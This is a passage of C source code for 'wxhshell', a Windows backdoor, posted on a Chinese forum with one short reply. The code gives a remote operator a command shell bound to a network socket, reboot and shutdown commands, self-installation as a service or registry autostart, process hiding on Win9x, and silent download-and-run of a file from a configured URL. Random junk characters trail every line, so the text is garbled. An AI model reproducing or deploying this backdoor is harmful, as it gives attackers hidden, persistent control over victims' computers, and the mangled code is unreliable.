  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gf8s?l  
  else :5GZ\Z8F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TJ?g%  
  } -#-p1^v}  
  else { SFH-^ly&D  
nZR!*$} A  
    switch(cmd[0]) { ]IJRnVp%  
  y( r1I[W'  
  // 帮助 ]j>i.5  
  case '?': { ryO$6L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fpM #XFj  
    break; ~Lfcg*  
  } }aB#z<B6  
  // 安装 0ZAj=u@O  
  case 'i': { cIXwiC8t  
    if(Install()) t?;T3k[RM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(I6_a_{  
    else ~;-9X|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4n 3Tp{Y}  
    break; _i}wK?n  
    } B68H&h]D#'  
  // 卸载 rl:KJ\*D  
  case 'r': { !- C' }  
    if(Uninstall()) iNcZ)m/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H;<!TX.zD  
    else 9T2xU3UyY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \zXlN  
    break; jm>3bd  
    } cu#e38M&eE  
  // 显示 wxhshell 所在路径 mkvvNm3  
  case 'p': { )"@t6.  
    char svExeFile[MAX_PATH]; &!7+Yb(1  
    strcpy(svExeFile,"\n\r"); OQ_stE2i  
      strcat(svExeFile,ExeFile); q5 &Ci`  
        send(wsh,svExeFile,strlen(svExeFile),0); LR)& [{Kk  
    break; 'TN)Lb*  
    } 1`r| op},  
  // 重启 ]XUl@Y.   
  case 'b': { ? s} %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p|6v~  
    if(Boot(REBOOT)) cErI%v}v0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,'Cyv">  
    else { RcY[rnI6  
    closesocket(wsh); wN]J8Ir  
    ExitThread(0); GA^mgm"O  
    } +KK$0pL  
    break; :jNYP{Br  
    } u'9gVU B  
  // 关机 A-E+s~U8  
  case 'd': { B5=3r1Ly  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I{.HO<$7D}  
    if(Boot(SHUTDOWN)) "|LQK0q3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/u9RmbU  
    else { OS7R Qw1  
    closesocket(wsh); P9#)~Zm}]  
    ExitThread(0); &a~=b,  
    } M$#sc`4*  
    break; :uCdq`SaQl  
    } 4be> `d5j  
  // 获取shell 'qeP6}M  
  case 's': { VK .^v<Yo  
    CmdShell(wsh); u]vPy ria  
    closesocket(wsh); XSD%t8<LO  
    ExitThread(0); swr"k6;G  
    break; l)}t,!M6  
  } AqYxWk3>  
  // 退出 ,7/ _T\d<  
  case 'x': { r%MyR8'k]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sWxK~Yg  
    CloseIt(wsh); 0<P(M:a  
    break; +^Jwo)R'b  
    } c8Pb  
  // 离开 O k(47nC  
  case 'q': { B3b,F#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }brr ) )  
    closesocket(wsh); `7B14:\A  
    WSACleanup(); FN{/.?w(  
    exit(1); N du7nKG  
    break; JLW$+62  
        } ,VG9)K 1K  
  } & l^n4  
  } $%}>zqD1  
rgR?wXW]jE  
  // 提示信息 -N^ =@Yx)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i7v/A&Rc  
} @a;sV!S{  
  } @,6ST0xT (  
cyc>_$/;1  
  return; vl~%o@*_  
} w|G~Il  
aJQXJ,>Lv  
// shell模块句柄 cju@W]!  
int CmdShell(SOCKET sock) RK3.-  
{ .HDebi  
STARTUPINFO si; _h~p:=  
ZeroMemory(&si,sizeof(si)); f(.6|mPp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G-8n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TAAR'Jz S  
PROCESS_INFORMATION ProcessInfo; 7jR7  
char cmdline[]="cmd"; P%jkKE?B4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R`3x=q  
  return 0; 7 s-`QdWX  
} yTj p-  
CRd_}  
// 自身启动模式 scmto cm  
int StartFromService(void) Ei~]iZ}  
{ 5F03y`@ u  
typedef struct xOgq-@`  
{ o@@_J@}#  
  DWORD ExitStatus; AG=9b  
  DWORD PebBaseAddress; :7k`R6 2{  
  DWORD AffinityMask; X@eg<]'m  
  DWORD BasePriority; !xJFr6G~8  
  ULONG UniqueProcessId; >+f'!*%7He  
  ULONG InheritedFromUniqueProcessId; gpsrw>nw  
}   PROCESS_BASIC_INFORMATION; q"l>`KCG`  
2}|vWKej{  
PROCNTQSIP NtQueryInformationProcess; iUpSN0XkMM  
X`tOO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i 63?"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;]"n?uo  
d^_itC;-,  
  HANDLE             hProcess; @u<0_r t  
  PROCESS_BASIC_INFORMATION pbi; xz="|HD);  
Hc"N& %X[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AV9:O{  
  if(NULL == hInst ) return 0; =^ gvZ| ]  
i"KL;t[1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *SXSF95  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JJ)y2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fg< ( bXC  
Kl!DKeF  
  if (!NtQueryInformationProcess) return 0; *di&%&f  
{W]bU{%.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7d%A1}Bq$  
  if(!hProcess) return 0; }isCv b  
S/KVN(Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \;'_|bu3.  
t.gq5Y.[  
  CloseHandle(hProcess); .59KE]u  
4;",@}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4|I7:~  
if(hProcess==NULL) return 0; 6zELe.tq  
5XhK#X%:A  
HMODULE hMod; zK[ 7:<  
char procName[255]; EaJDz`T}  
unsigned long cbNeeded; >2 FAi.,  
5~v(AB(x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #_JA5W+E  
#_?426Wfs  
  CloseHandle(hProcess); (9Fabo\SH  
|Gf1^8:C9  
if(strstr(procName,"services")) return 1; // 以服务启动 m+;B!4 6  
3w[<cq.!  
  return 0; // 注册表启动 K'a#Mg  
} pE$|2v  
uEc0/ a :.  
// 主模块 +9Xu"OFm  
int StartWxhshell(LPSTR lpCmdLine) 2V#c[%vI  
{ %AzPAWcN  
  SOCKET wsl; x&Q+|b%  
BOOL val=TRUE; n1fE daa7g  
  int port=0; rTWh(8T  
  struct sockaddr_in door; wrZ7Sr!/V  
H9oXZSm  
  if(wscfg.ws_autoins) Install(); !D.= 'V  
xl1L4R)6D  
port=atoi(lpCmdLine); )nf=eU4|  
~0' _K1(H  
if(port<=0) port=wscfg.ws_port; UE}8Rkt  
GoGohsj  
  WSADATA data; uzzWZ9Tv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /Bg6z m  
7/5NaUmPTt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s$SU vo1J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3D 4]yR5  
  door.sin_family = AF_INET; sw3:HNG=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kxr6sO~  
  door.sin_port = htons(port); SdjUhR+o  
-dc"N|.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !q7;{/QM6  
closesocket(wsl); KZp,=[t  
return 1; P%<aGb4  
} 5WtQwN~  
)V9Mcr*Ce6  
  if(listen(wsl,2) == INVALID_SOCKET) { _G-b L;  
closesocket(wsl); XudH  
return 1; vy2*BTU?  
} Zh@4_Z9n!  
  Wxhshell(wsl); P ],)  
  WSACleanup(); rA1zyZlz  
0~@L%~  
return 0; 6,V.j>z  
k@cZ"jYA  
} wM2)KM}$  
(d5vH)+ A  
// 以NT服务方式启动 ]|((b/L3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I;Z`!u:+  
{ `ohF?5J,  
DWORD   status = 0; Yq)YS]  
  DWORD   specificError = 0xfffffff; +_-)0[+p  
r+V(1<`2X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \U<F\i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @]y{M;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YN5OuKMUd'  
  serviceStatus.dwWin32ExitCode     = 0; QvK]<HEr  
  serviceStatus.dwServiceSpecificExitCode = 0; w ufKb.4`  
  serviceStatus.dwCheckPoint       = 0; 6/V{>MTZg  
  serviceStatus.dwWaitHint       = 0; &Gy'AUz-  
vBCZ/F[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9>.<+b(>!'  
  if (hServiceStatusHandle==0) return; :(S/$^U  
k DceBs s  
status = GetLastError(); &ls!IN  
  if (status!=NO_ERROR) gR_b~ ^  
{ a dz;N;rIY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dZ]\1""#H  
    serviceStatus.dwCheckPoint       = 0; go%X%Os]  
    serviceStatus.dwWaitHint       = 0; S#0|#Z5qD  
    serviceStatus.dwWin32ExitCode     = status; *~t$k56  
    serviceStatus.dwServiceSpecificExitCode = specificError; D\_*,Fc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f-f\}G&G  
    return; jQK2<-HZ3  
  } NkjQyMF  
Y(G*Yi?;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WKYA9BaR  
  serviceStatus.dwCheckPoint       = 0; 1vR#FE?  
  serviceStatus.dwWaitHint       = 0; I}g|n0o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5x1jLPl'  
} 9(FcA5Y  
b#\ k Z/W  
// 处理NT服务事件,比如:启动、停止 zm)CfEF 8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !i"9f_  
{ Velbq  
switch(fdwControl) EK-bvZ  
{ <x%my4M  
case SERVICE_CONTROL_STOP: \Dsl7 s=  
  serviceStatus.dwWin32ExitCode = 0; CsST-qxg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +IOKE\,Y  
  serviceStatus.dwCheckPoint   = 0; !f]3Riw-=,  
  serviceStatus.dwWaitHint     = 0; )V+Dqh,-g  
  { jtVPv]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '$L= sH5  
  } )>A%FL9  
  return; /*R' xBr  
case SERVICE_CONTROL_PAUSE: )*L?PT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MT#[ - M\  
  break; HjF'~n  
case SERVICE_CONTROL_CONTINUE: $lG--s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; { G>+.  
  break; iNrmhiql  
case SERVICE_CONTROL_INTERROGATE: :-'ri Ry  
  break; UNH}*]u4`  
}; pcxl2I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +P6  
} qP.VK?jF|  
Yr(f iI  
// 标准应用程序主函数 1p5q}">z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v_ F?x!  
{ !\|@{UJk/  
bA9dbe  
// 获取操作系统版本 6I.+c  
OsIsNt=GetOsVer(); E=U^T/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1ZH8/1gWI  
F9G$$%Q-Z  
  // 从命令行安装 O7_NXfh|  
  if(strpbrk(lpCmdLine,"iI")) Install(); $/(/v?3][e  
#(}_2x5  
  // 下载执行文件 21J82M  
if(wscfg.ws_downexe) { Hn2Q1lF-ip  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oTa+E'q  
  WinExec(wscfg.ws_filenam,SW_HIDE); HQ#L |LN  
} r3lr`s`  
ea;c\84_N  
if(!OsIsNt) { O#Ax P}  
// 如果时win9x,隐藏进程并且设置为注册表启动 sBG(CpQ  
HideProc(); \Hx#p`B%  
StartWxhshell(lpCmdLine); t $ ~:C  
} y&|{x "  
else kR|DzB7  
  if(StartFromService()) k5\ zGsol  
  // 以服务方式启动 /]58:euR  
  StartServiceCtrlDispatcher(DispatchTable); :z5I bas:  
else ,UJPLj^  
  // 普通方式启动 ;7{wa]  
  StartWxhshell(lpCmdLine); .TU15AAc  
F>{uB!!L4  
return 0; Z s!q#qM  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五